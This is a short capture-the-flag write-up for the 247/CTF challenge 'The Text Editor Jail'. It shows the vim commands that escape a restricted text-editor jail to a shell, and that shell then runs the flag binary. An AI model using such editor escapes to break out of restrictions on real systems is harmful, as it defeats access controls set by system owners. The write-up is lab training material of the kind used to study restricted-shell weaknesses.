247/CTF - THE TEXT EDITOR JAIL
Prompt
We didn’t have time to setup and test a proper jail, so this text editor will have to do for now. Can you break free?
Solution
This one is a pretty simple escape. We are dropped into vim over a ttyd web terminal. In case anyone hasn’t seen it, check out GTFOBins.
:set shell=/bin/sh
:shell
~ $ ls
run_for_flag
~ $ ./run_for_flag
